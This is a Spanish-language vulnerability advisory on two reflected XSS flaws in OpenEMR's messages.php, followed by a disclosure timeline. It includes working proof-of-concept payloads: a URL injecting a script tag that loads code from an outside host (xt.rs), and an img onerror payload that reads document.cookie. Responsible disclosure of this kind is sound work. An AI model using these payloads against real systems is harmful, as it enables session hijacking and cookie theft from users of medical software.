Resumen
El módulo de mensajes estaba afectado por dos instancias de Cross-Site Scripting (XSS). La primera involucraba al parámetro «stage» al usar la funcionalidad «setup«. El otro fallo se encontraba en el parámetro «parameter» enviado mediante POST al guardar mensajes,. El payload se reflejaba en la respuesta que era de tipo HTML.
Impacto
Esta vulnerabilidad permitiría a un atacante remoto hacerse con el control del navegador de la víctima al hacer clic en un enlace malicioso. El atacante podría robar la cookie de sesión, engañar al usuario para que introduzca sus credenciales o, en general, tomar el control sobre el flujo de la aplicación web.
Descripción
La primera instancia afecta al archivo messages.php utilizando estos parámetros:
http://openemr.vuln/interface/main/messages/messages.php?go=setup&stage=%3Cscript%20src=//xt.rs%3E%3C/script%3E
La página web resultante incluía el contenido del parámetro sin validar ni codificar, lo que condujo a la ejecución remota del código JavaScript en el navegador del usuario:
<br />
<span class=’title’>
<script src=//xt.rs></script> Warning: This is not a valid request.
</span>
La segunda instancia afectaba a la funcionalidad de guardar mensajes mediante la acción «process«, como puede verse a continuación:
Host: xxxxxxx
(…snip..)
parameter={«xss»:»<img%20src=x%20onerror=alert(document.cookie)>»}
El payload enviado en ese parámetro se reflejaba en la respuesta del servidor que, además, definía como contenido HMTL, permitiendo al atacante incluir código javascript en la respuesta JSON que será interpretado como HTML.
(…snip…)
Content-Type: text/html; charset=utf-8
{«xss»:»<img src=x onerror=alert(document.cookie)>«}
Recomendación
Referencias
Cronología
06/10/2022
Reporte creado
07/10/2022
Fabricante contactado
16/10/2022
Confirmación del desarrollador
19/10/2022
Validado y corregido
29/11/2022
Publicada nueva versión con correcciones
14/12/2022
CVE y lanzamiento público